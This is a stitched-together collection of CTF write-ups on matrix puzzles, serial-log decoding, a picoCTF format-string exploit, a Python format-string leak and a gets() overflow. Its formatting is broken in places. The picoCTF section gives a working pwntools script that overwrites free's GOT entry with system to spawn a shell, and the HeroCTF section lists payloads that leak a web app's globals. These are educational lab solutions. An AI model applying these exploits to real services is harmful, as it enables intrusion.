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# Determinant
First, one should observe that the given matrix is always 2*2.
$$M = \begin{bmatrix}a & b \\c & d\end{bmatrix} \\P = \begin{vmatrix}a & b \\c & d\end{vmatrix} = ad - bc$$
## 1 variableThis case is pretty straightforward since there's a single equation with a single variable.
## 2 variables### Diagonal variablesIn this case, we need to find two integers $x$ and $y$ such that their product is equal to a given value:
$$xy - bc = 1 \implies xy = bc + 1$$
This may be done in many ways, but as the challenges progress, numbers get larger and simply iterating through all numbers doesn't cut it.
To do it efficiently, we factored the number $bc + 1$, and then iterated through all subsets of those factors to find the combination in which $x, y > g$
### Adjacent variables
Let's assume $a, b$ are given. So we need to find integers $x, y$ such that:
$$\cases{ ay - bx = 1 \\ x, y > g}$$
We can use `egcd` to find arbitrary $x, y$ which don't necessarily satisfy the 2nd condition.
$$ay - bx = 1 \\\implies ay + ab - ab - bx = 1 \\\implies a(\underbrace{y + b}_{y'}) - b(\underbrace{a + x}_{x'}) = 1$$
Since $a, b > 0$, $x' > x$ and $y' > y$. Let's call this pumping up the value of $x, y$. We can pump up those values so much so that they satisfy the 2nd condition as well.
## 3 variablesLet's assume $a$ is the only given cell. So we need to find integers $x, y, z$ such that:
$$\cases{az - xy = 1 \\x, y, z > g}$$
Let $x = 1$ and solve $az - y = 1$ to find the appropriate $y, z > g$ using the method explained earlier. Now we just need to make sure $x > g$ as well. To do so we can pump up $x$ using the method described earlier.
## ResultSolving 40 challenges or so, you'll end up with the flag:```| Congrats, you got the flag: S4CTF{5imPl3_PPC_Us1Ng___MatrIx___}``` |
[Original writeup] (https://github.com/anuragnitt/CTF-Writeups/tree/master/HeroCTF%20v3/Crypto/h4XOR) https://github.com/anuragnitt/CTF-Writeups/tree/master/HeroCTF%20v3/Crypto/h4XOR |
# Serial Logs
## Problem
We have gained physical access to the debugging interface of the Access Control System which is based on a Raspberry Pi-based IoT device. We believe that the log messages of this device contain valuable information of when our asset was abducted.
[Task file](files/serial_logs.sal)
## Solution
### Analyze of file
First of all, we should understand what kind of file we have.Google of __.sal__ extension we find ```SAL is an acronym for SQL Application Language.```Strange what SQL Application does in IoT device and how it is connected with "log messages" and "physical access to the debugging interface". Command ```file``` will help us.
After that decompress it and analyze:
Interesting string in ```digital-*``` files:<SALEAE>Google it, we found https://www.saleae.com/ with tool Logic 2.Download and install it.
### Solving task
Open file serial_logs.sal in Logic 2 tool.What do we see?
Based on the next facts:* physical access to the debugging interface .. on a Raspberry Pi-based IoT device* name of the task "Serial logs"Select "Async serial" analyzer.
We should select Channel 1 in βInput Channelβ because as we can see we have signals only on the first channel.In βBit Rateβ we should add the speed of the connection.Who works with Raspberry Pi through the serial port, knows, speed is 115200. Insert it in βBit Rateβ and click βSaveβ.Switch the βDataβ field to βTerminalβ for showing as raw data as it was transferred, not in a table view.
As we can see it is a log of connections to the Access Control System which is based on a Raspberry Pi-based IoT device.But in one place it changes and the last readable message is ```Switching baud to backup value```It means we should gues baud or bitrate for reading the last part of the logs.Someone can understand how to change bitrate based on a signal:
But not me, I just brute-force it, based on possible values for serial port, which found on wiki ;)(Serial port)[https://en.wikipedia.org/wiki/Serial_port ]Change value of "Bit Rate" to 76,800 and check "Data" field again.Scroll down and see:
Flag: ```CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52}```
## TL;DR
- use Logic 2 from https://www.saleae.com/ - Brute-force bit rate |
ok first we need to understand whats going on so run vuln with gdb `gdb ./vuln`first get an overview with `disass main`
``` 0x0000000000400b95 <+0>: push rbp 0x0000000000400b96 <+1>: mov rbp,rsp 0x0000000000400b99 <+4>: sub rsp,0x30 0x0000000000400b9d <+8>: mov DWORD PTR [rbp-0x24],edi 0x0000000000400ba0 <+11>: mov QWORD PTR [rbp-0x30],rsi 0x0000000000400ba4 <+15>: mov rax,QWORD PTR fs:0x28 0x0000000000400bad <+24>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400bb1 <+28>: xor eax,eax 0x0000000000400bb3 <+30>: mov rax,QWORD PTR [rip+0x2014ce] # 0x602088 <stdout@@GLIBC_2.2.5> 0x0000000000400bba <+37>: mov esi,0x0 0x0000000000400bbf <+42>: mov rdi,rax 0x0000000000400bc2 <+45>: call 0x4006e0 <setbuf@plt> 0x0000000000400bc7 <+50>: mov edi,0x0 0x0000000000400bcc <+55>: call 0x400720 <time@plt> 0x0000000000400bd1 <+60>: mov edi,eax 0x0000000000400bd3 <+62>: call 0x400710 <srand@plt> 0x0000000000400bd8 <+67>: mov eax,0x0 0x0000000000400bdd <+72>: call 0x400ae1 <initialize_portfolio> 0x0000000000400be2 <+77>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400be6 <+81>: cmp QWORD PTR [rbp-0x10],0x0 0x0000000000400beb <+86>: jne 0x400c03 <main+110> 0x0000000000400bed <+88>: lea rdi,[rip+0x1ed] # 0x400de1 0x0000000000400bf4 <+95>: call 0x4006d0 <puts@plt> 0x0000000000400bf9 <+100>: mov edi,0x1 0x0000000000400bfe <+105>: call 0x400760 <exit@plt> 0x0000000000400c03 <+110>: mov DWORD PTR [rbp-0x14],0x0 0x0000000000400c0a <+117>: lea rdi,[rip+0x1df] # 0x400df0 0x0000000000400c11 <+124>: call 0x4006d0 <puts@plt> 0x0000000000400c16 <+129>: lea rdi,[rip+0x1f5] # 0x400e12 0x0000000000400c1d <+136>: call 0x4006d0 <puts@plt> 0x0000000000400c22 <+141>: lea rdi,[rip+0x204] # 0x400e2d 0x0000000000400c29 <+148>: call 0x4006d0 <puts@plt> 0x0000000000400c2e <+153>: lea rdi,[rip+0x20c] # 0x400e41 0x0000000000400c35 <+160>: call 0x4006d0 <puts@plt> 0x0000000000400c3a <+165>: lea rax,[rbp-0x14] 0x0000000000400c3e <+169>: mov rsi,rax 0x0000000000400c41 <+172>: lea rdi,[rip+0x20e] # 0x400e56 0x0000000000400c48 <+179>: mov eax,0x0 0x0000000000400c4d <+184>: call 0x400750 <__isoc99_scanf@plt> 0x0000000000400c52 <+189>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400c55 <+192>: cmp eax,0x1 0x0000000000400c58 <+195>: jne 0x400c68 <main+211> 0x0000000000400c5a <+197>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400c5e <+201>: mov rdi,rax 0x0000000000400c61 <+204>: call 0x4009e9 <buy_stonks> 0x0000000000400c66 <+209>: jmp 0x400c7c <main+231> 0x0000000000400c68 <+211>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400c6b <+214>: cmp eax,0x2 0x0000000000400c6e <+217>: jne 0x400c7c <main+231> 0x0000000000400c70 <+219>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400c74 <+223>: mov rdi,rax 0x0000000000400c77 <+226>: call 0x400867 <view_portfolio> 0x0000000000400c7c <+231>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400c80 <+235>: mov rdi,rax 0x0000000000400c83 <+238>: call 0x400b3d <free_portfolio> 0x0000000000400c88 <+243>: lea rdi,[rip+0x1ca] # 0x400e59 0x0000000000400c8f <+250>: call 0x4006d0 <puts@plt> 0x0000000000400c94 <+255>: mov edi,0x0 0x0000000000400c99 <+260>: call 0x400760 <exit@plt>
```
ok now lets run it and see what happens.```Welcome back to the trading app!
What would you like to do?1) Buy some stonks!2) View my portfolio```we press `ctrl+c` and check the gef dashboard```[#0] 0x7ffff7af4191 β read()[#1] 0x7ffff7a711b8 β _IO_file_underflow()[#2] 0x7ffff7a72462 β _IO_default_uflow()[#3] 0x7ffff7a4fc5a β _IO_vfscanf()[#4] 0x7ffff7a60048 β __isoc99_scanf()[#5] 0x400c52 β main()```so we are in the `__isoc99_scanf()` at main `0x0000000000400c4d <+184>: call 0x400750 <__isoc99_scanf@plt>`here we can choose which of the next 2 functions we want to run.
we choose buy_stonks since there is the vulnerable printf()`disass buy_stonks```` 0x00000000004009e9 <+0>: push rbp 0x00000000004009ea <+1>: mov rbp,rsp 0x00000000004009ed <+4>: sub rsp,0x30 0x00000000004009f1 <+8>: mov QWORD PTR [rbp-0x28],rdi 0x00000000004009f5 <+12>: cmp QWORD PTR [rbp-0x28],0x0 0x00000000004009fa <+17>: jne 0x400a06 <buy_stonks+29> 0x00000000004009fc <+19>: mov eax,0x1 0x0000000000400a01 <+24>: jmp 0x400adf <buy_stonks+246> 0x0000000000400a06 <+29>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000400a0a <+33>: mov eax,DWORD PTR [rax] 0x0000000000400a0c <+35>: mov DWORD PTR [rbp-0x18],eax 0x0000000000400a0f <+38>: mov DWORD PTR [rbp-0x14],0x0 0x0000000000400a16 <+45>: mov QWORD PTR [rbp-0x10],0x0 0x0000000000400a1e <+53>: lea rdi,[rip+0x34b] # 0x400d70 0x0000000000400a25 <+60>: call 0x4006d0 <puts@plt> 0x0000000000400a2a <+65>: jmp 0x400a6d <buy_stonks+132> 0x0000000000400a2c <+67>: call 0x400770 <rand@plt> 0x0000000000400a31 <+72>: cdq 0x0000000000400a32 <+73>: idiv DWORD PTR [rbp-0x18] 0x0000000000400a35 <+76>: mov eax,edx 0x0000000000400a37 <+78>: add eax,0x1 0x0000000000400a3a <+81>: mov DWORD PTR [rbp-0x14],eax 0x0000000000400a3d <+84>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400a40 <+87>: mov edi,eax 0x0000000000400a42 <+89>: call 0x400927 <pick_symbol_with_AI> 0x0000000000400a47 <+94>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400a4b <+98>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000400a4f <+102>: mov rdx,QWORD PTR [rax+0x8] 0x0000000000400a53 <+106>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400a57 <+110>: mov QWORD PTR [rax+0x10],rdx 0x0000000000400a5b <+114>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000400a5f <+118>: mov rdx,QWORD PTR [rbp-0x10] 0x0000000000400a63 <+122>: mov QWORD PTR [rax+0x8],rdx 0x0000000000400a67 <+126>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400a6a <+129>: sub DWORD PTR [rbp-0x18],eax 0x0000000000400a6d <+132>: cmp DWORD PTR [rbp-0x18],0x0 0x0000000000400a71 <+136>: jg 0x400a2c <buy_stonks+67> 0x0000000000400a73 <+138>: lea rdi,[rip+0x321] # 0x400d9b 0x0000000000400a7a <+145>: call 0x4006d0 <puts@plt> 0x0000000000400a7f <+150>: mov edi,0x12d 0x0000000000400a84 <+155>: call 0x400730 <malloc@plt> 0x0000000000400a89 <+160>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400a8d <+164>: lea rdi,[rip+0x315] # 0x400da9 0x0000000000400a94 <+171>: call 0x4006d0 <puts@plt> 0x0000000000400a99 <+176>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400a9d <+180>: mov rsi,rax 0x0000000000400aa0 <+183>: lea rdi,[rip+0x31a] # 0x400dc1 0x0000000000400aa7 <+190>: mov eax,0x0 0x0000000000400aac <+195>: call 0x400750 <__isoc99_scanf@plt> 0x0000000000400ab1 <+200>: lea rdi,[rip+0x30f] # 0x400dc7 0x0000000000400ab8 <+207>: call 0x4006d0 <puts@plt> 0x0000000000400abd <+212>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400ac1 <+216>: mov rdi,rax 0x0000000000400ac4 <+219>: mov eax,0x0 0x0000000000400ac9 <+224>: call 0x400700 <printf@plt> 0x0000000000400ace <+229>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000400ad2 <+233>: mov rdi,rax 0x0000000000400ad5 <+236>: call 0x400867 <view_portfolio> 0x0000000000400ada <+241>: mov eax,0x0 0x0000000000400adf <+246>: leave 0x0000000000400ae0 <+247>: ret ```we give our input at 0x400aac and it gets printed at 0x400ac9
``` 0x0000000000400aac <+195>: call 0x400750 <__isoc99_scanf@plt> 0x0000000000400ab1 <+200>: lea rdi,[rip+0x30f] # 0x400dc7 0x0000000000400ab8 <+207>: call 0x4006d0 <puts@plt> 0x0000000000400abd <+212>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400ac1 <+216>: mov rdi,rax 0x0000000000400ac4 <+219>: mov eax,0x0 0x0000000000400ac9 <+224>: call 0x400700 <printf@plt> 0x0000000000400ace <+229>: mov rax,QWORD PTR [rbp-0x28]
```ok before we continue set a breakpoint after the printf() with `b *400ace` than `c` and throw some %p at it to leak some addresses
```0x1555553277e30x1555553288c00x15555504b2640x19(nil)0x400e410x6032600xb0x1000000000x6043700x6043900x7fffffffe0800x400c660x7fffffffe1680x1000000000x400ca00x1004007800x6032600xd121471b0b69c1000x400ca00x155554f5cb970x10x7fffffffe1680x1000080000x400b95(nil)0x708aa9e58d88f5ba0x4007800x7fffffffe160(nil)(nil)0x8f75569a55e8f5ba0x5a20008e0256f5ba0x7fff00000000(nil)(nil)0x15555533c7830x1555553226380xc13f2(nil)(nil)(nil)0x4007800x7fffffffe1600x4007aa0x7fffffffe1580x1c0x10x7fffffffe456(nil)```The addres on the 12 position is 0x7fffffffe080 which is on the stack so maybe we can have its content on our leak.
i watched for the 4 previous and follwoing values so 0xb|0x100000000|0x604370|0x604390|0x7fffffffe080|0x400c66|0x7fffffffe168|0x100000000|0x400ca0
```gefβ€ search-pattern 0x7fffffffe080[+] Searching '\x80\xe0\xff\xff\xff\x7f' in memory[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- 0x7fffffffdd90 - 0x7fffffffdda8 β "\x80\xe0\xff\xff\xff\x7f[...]" 0x7fffffffe040 - 0x7fffffffe058 β "\x80\xe0\xff\xff\xff\x7f[...]"
```
```gefβ€ x/9gx 0x7fffffffe040-0x200x7fffffffe020: 0x000000000000000b 0x00000001000000000x7fffffffe030: 0x0000000000604370 0x00000000006043900x7fffffffe040: 0x00007fffffffe080 0x0000000000400c660x7fffffffe050: 0x00007fffffffe168 0x00000001000000000x7fffffffe060: 0x0000000000400ca0```so `0x7fffffffe040: 0x00007fffffffe080` this is not far away lets check it```gefβ€ x/9gx 0x7fffffffe080-0x200x7fffffffe060: 0x0000000000400ca0 0x00000001004007800x7fffffffe070: 0x0000000000603260 0xd121471b0b69c1000x7fffffffe080: 0x0000000000400ca0 0x0000155554f5cb970x7fffffffe090: 0x0000000000000001 0x00007fffffffe1680x7fffffffe0a0: 0x0000000100008000```
0x400ca0|0x100400780|0x603260|0xd121471b0b69c100|0x400ca0|0x155554f5cb97|0x1|0x7fffffffe168|0x100008000
this matches great now hers the plan we can write to the 12 field which points to 0x00007fffffffe080 with that we can set the target address.and with the 20 field we can write to that address.now we have to find out where and what to write.
so first lets check where we can write i `vmmap`
```[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x00000000003ff000 0x0000000000400000 0x0000000000000000 rw- /root/ctf/stonk_market/vuln0x0000000000400000 0x0000000000402000 0x0000000000001000 r-x /root/ctf/stonk_market/vuln0x0000000000601000 0x0000000000602000 0x0000000000002000 r-- /root/ctf/stonk_market/vuln0x0000000000602000 0x0000000000603000 0x0000000000003000 rw- /root/ctf/stonk_market/vuln0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /root/ctf/stonk_market/libc.so.60x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /root/ctf/stonk_market/libc.so.60x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /root/ctf/stonk_market/libc.so.60x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /root/ctf/stonk_market/libc.so.60x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /root/ctf/stonk_market/ld-2.27.so0x00007ffff7ff4000 0x00007ffff7ff6000 0x0000000000000000 rw- 0x00007ffff7ff6000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /root/ctf/stonk_market/ld-2.27.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /root/ctf/stonk_market/ld-2.27.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]```
`0x0000000000602000 0x0000000000603000 0x0000000000003000 rw- /root/ctf/stonk_market/vuln`we can write to the GOT that is usefull. lets check whats on the `GOT`
```GOT protection: Partial RelRO | GOT functions: 12 [0x602018] free@GLIBC_2.2.5 β 0x4006c6[0x602020] puts@GLIBC_2.2.5 β 0x7ffff7a64a30[0x602028] setbuf@GLIBC_2.2.5 β 0x7ffff7a6c540[0x602030] system@GLIBC_2.2.5 β 0x4006f6[0x602038] printf@GLIBC_2.2.5 β 0x400706[0x602040] srand@GLIBC_2.2.5 β 0x7ffff7a27c60[0x602048] time@GLIBC_2.2.5 β 0x7ffff7ffa970[0x602050] malloc@GLIBC_2.2.5 β 0x7ffff7a7b0e0[0x602058] fflush@GLIBC_2.2.5 β 0x400746[0x602060] __isoc99_scanf@GLIBC_2.7 β 0x7ffff7a5ff30[0x602068] exit@GLIBC_2.2.5 β 0x400766[0x602070] rand@GLIBC_2.2.5 β 0x7ffff7a28450```ok we know how and where now figure out what.so i steped throu the binary a few times than realized that in main after our buy_stonks function finished we call free_portfolio
`0x0000000000400c66 <+209>: jmp 0x400c7c <main+231>````0x0000000000400c7c <+231>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400c80 <+235>: mov rdi,rax 0x0000000000400c83 <+238>: call 0x400b3d <free_portfolio>````disass free_portfolio`
``` 0x0000000000400b3d <+0>: push rbp 0x0000000000400b3e <+1>: mov rbp,rsp 0x0000000000400b41 <+4>: sub rsp,0x20 0x0000000000400b45 <+8>: mov QWORD PTR [rbp-0x18],rdi 0x0000000000400b49 <+12>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400b4d <+16>: mov rax,QWORD PTR [rax+0x8] 0x0000000000400b51 <+20>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400b55 <+24>: mov QWORD PTR [rbp-0x8],0x0 0x0000000000400b5d <+32>: jmp 0x400b7f <free_portfolio+66> 0x0000000000400b5f <+34>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400b63 <+38>: mov rax,QWORD PTR [rax+0x10] 0x0000000000400b67 <+42>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400b6b <+46>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400b6f <+50>: mov rdi,rax 0x0000000000400b72 <+53>: call 0x4006c0 <free@plt> 0x0000000000400b77 <+58>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400b7b <+62>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400b7f <+66>: cmp QWORD PTR [rbp-0x10],0x0 0x0000000000400b84 <+71>: jne 0x400b5f <free_portfolio+34> 0x0000000000400b86 <+73>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400b8a <+77>: mov rdi,rax 0x0000000000400b8d <+80>: call 0x4006c0 <free@plt> 0x0000000000400b92 <+85>: nop 0x0000000000400b93 <+86>: leave 0x0000000000400b94 <+87>: ret ```
here `0x0000000000400b72 <+53>: call 0x4006c0 <free@plt>` we call free()we set a breakpoint `b *0x0000000000400b72`
when we reach the break we check the arguments for the free()```free@plt ( $rdi = 0x0000000000604370 β 0x4e494e4600000001)````c`
```free@plt ( $rdi = 0x0000000000604350 β 0x0000004300000003)```
ok looks like the arguments are the next heap chunks that will get freed
`heap chunks````gefβ€ heap chunksChunk(addr=0x603010, size=0x250, flags=PREV_INUSE) [0x0000000000603010 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]Chunk(addr=0x603260, size=0x20, flags=PREV_INUSE) [0x0000000000603260 ec 03 00 00 00 00 00 00 70 43 60 00 00 00 00 00 ........pC`.....]Chunk(addr=0x603280, size=0x1010, flags=PREV_INUSE) [0x0000000000603280 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 %p|%p|%p|%p|%p|%]Chunk(addr=0x604290, size=0x20, flags=PREV_INUSE) [0x0000000000604290 a9 02 00 00 47 50 47 00 00 00 00 00 00 00 00 00 ....GPG.........]Chunk(addr=0x6042b0, size=0x20, flags=PREV_INUSE) [0x00000000006042b0 f3 00 00 00 53 00 00 00 00 00 00 00 00 00 00 00 ....S...........]Chunk(addr=0x6042d0, size=0x20, flags=PREV_INUSE) [0x00000000006042d0 24 00 00 00 47 59 4c 00 00 00 00 00 00 00 00 00 $...GYL.........]Chunk(addr=0x6042f0, size=0x20, flags=PREV_INUSE) [0x00000000006042f0 17 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 ....I...........]Chunk(addr=0x604310, size=0x20, flags=PREV_INUSE) [0x0000000000604310 08 00 00 00 4c 45 54 50 00 00 00 00 00 00 00 00 ....LETP........]Chunk(addr=0x604330, size=0x20, flags=PREV_INUSE) [0x0000000000604330 09 00 00 00 55 00 00 00 00 00 00 00 00 00 00 00 ....U...........]Chunk(addr=0x604350, size=0x20, flags=PREV_INUSE) [0x0000000000604350 70 43 60 00 00 00 00 00 00 00 00 00 00 00 00 00 pC`.............]Chunk(addr=0x604370, size=0x20, flags=PREV_INUSE) [0x0000000000604370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]Chunk(addr=0x604390, size=0x140, flags=PREV_INUSE) [0x0000000000604390 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 %p|%p|%p|%p|%p|%]Chunk(addr=0x6044d0, size=0x1fb40, flags=PREV_INUSE) β top chunk```i found 0x603260 on our leaked addr list at field 18 0x603260good we can now change the GOT entry of free so that it calls system with the argument of the heap addresses.`system(const char *command)`so it will use the heap addr. as a pointer to a string so we want our 0x603260 contain 'sh' that should spawn a shell for us.sh in hex is `0x01006873`
```gefβ€ x 0x00000000006032600x603260: 0x01006873gefβ€ x/s 0x00000000006032600x603260: "sh"
```ok time for the payload
this writes to the 12 field which points to 0x7fffffffe080 here we set the target address to 0x00602018 ``` payload = '%c'*10 payload += f'%{elf.got["free"] - 10}c' payload += '%n'```
this writes to the target we specified in this case the GOT of free here we change free to system which starts at `0x4006f6`
before we write: 0x00602018: 0x4006c6
after we write: 0x00602018: 0x4006f6
as we can see we only need to change 1 byte to match the address.we do that with `hhn` which only writes 1 bytewe already had 0x602018 bytes send so to set the last byte to 0xf6 we send another 222 bytes. 0xf6 - 0x18 = 0xde or 222 as int
``` payload += '%222c' payload += '%20$hhn' ```
and here we write sh into the leaked heap address and sending the payload.10504061 in hex = 0xa0477d + our already send 0x00602018 + 0xde = 0x1006873 which is sh in hex
``` payload += '%10504061c' payload += '%18$n' sl('1') sla("token?\n",payload)```
it will take some time to send the payload so give it at least 1 min.
```#!/usr/bin/env python3from pwn import *
fname = './vuln'ip = 'mercury.picoctf.net'port = xxxx #change thiself = ELF('./vuln')
LOCAL = False
if LOCAL: r = process(fname,aslr=False)
gdbscript=""" b buy_stonks b *0x0000000000400ac9 b *0x0000000000400ace b *0x00000000004008ab b *0x0000000000400b72 """ #set follow-fork-mode
#attach('vuln',gdbscript=gdbscript)else: r = remote(ip, port)
rl = lambda : r.recvline()sl = lambda x : r.sendline(x)sla = lambda x,y : r.sendlineafter(x,y)inter = lambda : r.interactive()
def pwn(): payload = '%c'*10 payload += f'%{elf.got["free"] - 10}c' payload += '%n'
payload += '%222c' payload += '%20$hhn'
payload += '%10504061c' payload += '%18$n' sl('1') sla("token?\n",payload)
inter()
if __name__ == '__main__': pwn()``` |
[Original writeup](https://github.com/anuragnitt/CTF-Writeups/tree/master/HeroCTF%20v3/Kernel/Ring0%20Calling) https://github.com/anuragnitt/CTF-Writeups/tree/master/HeroCTF%20v3/Kernel/Ring0%20Calling |
First weakness in the cipher is the lack of encryption of the highest 3 bits. Use the whitespace to get the key length and a significant amount of the key. Fill in the blanks. |
# Magic RenderThis was a web challenge in the Hero CTF 2021.
https://www.heroctf.fr/challenges
Clicking the link gives us this page:
You can enter a title and body and you'll get back an html page with your title and body inserted.
I tried various special characters until I saw that **{}** in the body causes this error.
`Something went wrong, sorry! It's only the alpha version !`
After some searching, I found this online: https://podalirius.net/articles/python-format-string-vulnerabilities/
Finding this page was key to solving this challenge. No way would I have done so without it.
I tried an example from that page:
```{self.__init__.__globals__}```
and got (newlines added for readability):
```{'__name__': '__main__', '__doc__': None, '__package__': None,'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f5107b17518>,'__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': 'app.py','__cached__': None, 'Flask': , 'render_template': , 'request': , 'FlaskView': ,'route': , 'dis': , 'app': , 'port': 8050, 'secret_function': , 'App': }```
Notice there is a secret_function!
At first I tried to access it like this:
```{self.__init__.__globals__.secret_function}```
but got back the error. Eventually I learned that I needed to use brackets since `__globals__` is a dictionary.
```{self.__init__.__globals__[secret_function]}```
But that just gives back an empty page.
In hindsight, that makes sense since that object must not have a string representation or else it would've shown it to us when we dumped out `__globals__`.
If I try to call this function:
`{self.__init__.__globals__[secret_function]()}`
I get back an error.
At this point, I didn't know to do.
I copied some example code from the above page and hacked on it a bit so I could play around with this locally.
```import sys
def secret_function(): flag = 'wow' return flag
class TEST(): def __init__(self): self.testValue = 'test'
def renderHTML(self, templateHTML, text): return (templateHTML.format(self=self, text=text))
if __name__ == '__main__': if len(sys.argv) != 2: print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT") else : a = TEST() print(a.renderHTML(sys.argv[1], 'foo'))
```
I could then call this locally like:
`python3 crack.py '{self.__init__.__globals__}'`
and got this output:```{'__name__': '__main__', '__doc__': None, '__package__': None,'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10ebb0040>,'__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,'__file__': 'crack.py', '__cached__': None, 'sys': <module 'sys' (built-in)>,'secret_function': <function secret_function at 0x10ede2790>, 'TEST': <class '__main__.TEST'>,'a': <__main__.TEST object at 0x10edf6fd0>}```
That looks similar enough to the challenge that I thought I was on the right track.
Wanting to know what was hiding inside the function object, I hacked the renderHTML() method to be:
``` def renderHTML(self, templateHTML, text): return dir(self.__init__.__globals__['secret_function'])```
The dir() method will dump out all of an object's properties.
It printed this:
```['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__','__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__','__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__','__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__','__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']```
Not knowing what to look for, I tried several of these until I stumbled upon `__code__`:
``` def renderHTML(self, templateHTML, text): return dir(self.__init__.__globals__['secret_function'].__code__)```
and got:
```['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__','__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__','__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount','co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars','co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize','co_varnames', 'replace']```
**co_varnames** looked interesting so I tried:
```return self.__init__.__globals__['secret_function'].__code__.co_varnames```
and got:
`('flag',)`
Then I tried **co_consts**:```return self.__init__.__globals__['secret_function'].__code__.co_consts```
and got:
`(None, 'wow')`
Armed with this, I was ready to return to the challenge.
When I submit this for the body:
`{self.__init__.__globals__[secret_function].__code__.co_varnames}`
it returned:
`('flag',)`
Finally, I submitted:
`{self.__init__.__globals__[secret_function].__code__.co_consts}`
and got:
`(None, 'Hero{l34k_my_byt3c0d3zzzzzz}')`
Again, I got lucky that I found this particular page and that I happened find my way through the maze of properties to find the one containing the flag.
I definitely learned a lot about all of the properties I never knew were hiding inside Python function objects.
|
[Original writeup](https://github.com/BaadMaro/CTF/tree/main/WPICTF-2021/suspicious-traffic) (https://github.com/BaadMaro/CTF/tree/main/WPICTF-2021/suspicious-traffic). |
[Original writeup](https://github.com/BaadMaro/CTF/tree/main/HackPack-CTF-2021/%22N%22ot%20%22G%22am%22I%22ng%20a%22N%22ymore%20in%20%22X%22mas) (https://github.com/BaadMaro/CTF/tree/main/HackPack-CTF-2021/%22N%22ot%20%22G%22am%22I%22ng%20a%22N%22ymore%20in%20%22X%22mas). |
# PTSThis is a [well-known](http://www.math.caltech.edu/~2014-15/2term/ma006b/13%20Counting%20Trees.pdf) problem in graph theory. It has a pretty boring solution with a pretty interesting proof! Having said that, for this task it suffices to calculate determinant of a slightly modified matrix.
Iterating through the challenges results in:```| Congratz! the flag is S4CTF{y3s_0lD__8u7__G0lD_s7ufF_0N__G_M4Tr1c3S}``` |
# WPICTF 2021
## $m4$h
> 100> > Simple stack smashing challenge>> Connect on `nc smash184384.wpictf.xyz 15724`.>> Press enter once after connecting>> Author: Iv>> [`challenge.c`](`challenge.c`)
Tags: _pwn_ _bof_ _variable-overwite_
## Summary
Meh.
## Analysis
```c#include <stdio.h>#include <string.h>
void printFlagObfuscated(){ // [REDACTED]}
int main(){ int specialInt = 924053438; printf("Please enter a string: "); char buffer[11]; gets(buffer);
if(specialInt == 923992130){ printFlagObfuscated(); }else{ printf("Input was %s. This is a very normal and boring program that prints your input.\n", buffer); }
return 0;}```
